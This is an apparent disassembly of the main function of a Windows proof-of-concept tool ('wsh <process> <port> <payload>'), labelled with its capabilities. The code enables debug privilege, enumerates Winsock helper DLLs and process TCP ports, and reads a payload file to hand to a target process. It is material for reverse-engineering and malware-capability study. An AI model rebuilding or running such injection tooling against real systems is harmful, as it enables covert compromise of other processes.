Function at 0x140001f30
Capabilities:
Accept command line arguments
Acquire debug privileges
Enumerate processes
Get file size
Query environment variable
Query or enumerate registry value
Read file on windows

Disassembly:
push rbp
push rsi
push r13
lea rbp, [rsp - 0xa30]
sub rsp, 0xb30
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rbp + 0xa10], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlGetVersion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001f93
lea rcx, [rbp + 0x1d0]
mov dword [rbp + 0x1d0], 0x11c
call rax
cmp dword [rbp + 0x1d4], 0xa
je 0x140001f9f
lea rcx, str._nWARNING:_PoC_only_tested_on_Windows_10__n
call fcn.140001010
xorps xmm0, xmm0
mov qword [rsp + 0xb50], rbx
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x58]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor r13d, r13d
test eax, eax
je 0x140002039
lea r8, [rsp + 0x68]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov ebx, eax
test eax, eax
je 0x14000202a
mov rax, qword [rsp + 0x68]
lea r8, [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x28], r13
xor edx, edx
mov qword [rsp + 0x7c], rax
mov dword [rsp + 0x78], 1
mov dword [rbp - 0x7c], 2
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ebx, eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140002045
lea rcx, str.WARNING:_could_not_enable_debugging_privilege._n
call fcn.140001010
mov qword [rsp + 0xb58], rdi
mov qword [rsp + 0xb28], r14
mov qword [rsp + 0xb20], r15
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rsi, rax
mov eax, dword [rsp + 0x70]
cmp eax, 1
jne 0x14000237d
xor edx, edx
lea rcx, [rbp + 0x1d0]
mov r8d, 0x104
call fcn.140003560
lea rax, [rsp + 0x58]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSetServicesWinsockParameters
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002101
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rdx, str.Transports
lea rax, [rbp + 0x1d0]
mov dword [rsp + 0x60], 0x104
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp word [rbp + 0x1d0], r13w
je 0x14000228c
lea rcx, [0x14001cd38]
lea rbx, [rbp + 0x1d0]
call fcn.140001010
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
test eax, eax
je 0x14000228c
nop dword [rax + rax]
mov r8, rbx
lea rdx, str.SYSTEMCurrentControlSetServices_sParametersWinsock
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [rsp + 0x60]
lea rdx, [rbp + 0x3e0]
inc eax
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
lea rbx, [rbx + rax*2]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000226b
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rdx, str.HelperDllName
lea rax, [rbp + 0x5f0]
mov dword [rsp + 0x68], 0x104
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140002260
mov r8d, 0x104
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x140002260
lea rdx, [rbp + 0x800]
lea rcx, str.HelperDllName_:__ws_n
call fcn.140001010
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rdx, str.ProviderGUID
lea rax, [rsp + 0x78]
mov dword [rsp + 0x68], socket
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140002260
mov r8d, 0x104
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x78]
call qword [sym.imp.ole32.dll_StringFromGUID2]
test eax, eax
je 0x140002260
lea rdx, [rbp - 0x70]
lea rcx, str.ProviderGUID__:__ws_n
call fcn.140001010
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x14001cd38]
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
test eax, eax
jne 0x140002140
lea rcx, [rsp + 0x40]
call fcn.140001520
lea r9, str.TCP_Ports
mov ebx, eax
lea r8, [0x14001cfd4]
lea rdx, str.Process
lea rcx, str._n__15s____4s___s_n
call fcn.140001010
lea rcx, str._n
call fcn.140001010
test ebx, ebx
je 0x140002508
mov r15, qword [rsp + 0x50]
mov rsi, r13
mov qword [rsp + 0xb60], r12
mov r12d, ebx
lea rdi, [r15 + 0x218]
lea r14, [r15 + 4]
nop dword [rax + rax]
mov r8d, dword [rdi - 0x218]
lea rcx, str.__15ws_:__5i_:
mov rdx, r14
call fcn.140001010
mov ebx, r13d
cmp dword [rdi], ebx
jbe 0x14000234b
nop dword [rax]
mov eax, ebx
add rax, rsi
movzx ecx, word [r15 + rax*2 + 0x21c]
call qword [sym.imp.WS2_32.dll_htons]
movzx edx, ax
lea rcx, [0x14001d038]
call fcn.140001010
mov eax, dword [rdi]
inc ebx
cmp ebx, eax
je 0x14000234b
mov ecx, 0x2c
call fcn.1400068f4
mov eax, dword [rdi]
cmp ebx, eax
jb 0x140002310
mov ecx, 0xa
call fcn.1400068f4
add r14, 0x60218
add rsi, 0x3010c
add rdi, 0x60218
sub r12, 1
jne 0x1400022f0
mov r12, qword [rsp + 0xb60]
jmp 0x140002508
add eax, 0xfffffffe
test eax, 0xfffffffd
je 0x140002398
lea rcx, str._nusage:_wsh__process___port___payload__n
call fcn.140001010
jmp 0x140002508
mov r14, qword [rsi + 8]
xor edx, edx
mov edi, r13d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002404
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400023f7
nop dword [rax + rax]
lea rdx, [rbp - 0x44]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400023f4
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400023d0
jmp 0x1400023f7
mov edi, dword [rbp - 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x140002436
mov rcx, qword [rsi + 8]
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.1400051a8
mov rdi, rax
test eax, eax
jne 0x140002436
mov rdx, qword [rsi + 8]
lea rcx, str.ERROR:_unable_to_resolve_pid_for___ws_._n
call fcn.140001010
mov rax, 0xffffffffffffffff
jmp 0x14000250a
cmp dword [rsp + 0x70], 2
jne 0x140002449
mov ecx, edi
call fcn.140001800
jmp 0x140002508
mov rcx, qword [rsi + 0x18]
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x68], r13d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1400024ca
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
add ecx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400068fc
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], r13
mov r8d, ebx
mov rdx, rax
mov rcx, r14
mov r15, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400024cf
mov r15, qword [rsp + 0x58]
mov ebx, dword [rsp + 0x68]
test ebx, ebx
jne 0x1400024e9
mov rdx, qword [rsi + 0x18]
lea rcx, str.Unable_to_read__ws._n
call fcn.140001010
jmp 0x140002508
mov rcx, qword [rsi + 0x10]
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.1400051a8
mov r9d, ebx
mov r8, r15
movzx edx, ax
mov ecx, edi
call fcn.140001c50
xor eax, eax
mov r15, qword [rsp + 0xb20]
mov r14, qword [rsp + 0xb28]
mov rdi, qword [rsp + 0xb58]
mov rbx, qword [rsp + 0xb50]
mov rcx, qword [rbp + 0xa10]
xor rcx, rsp
call fcn.140002560
add rsp, 0xb30
pop r13
pop rsi
pop rbp
ret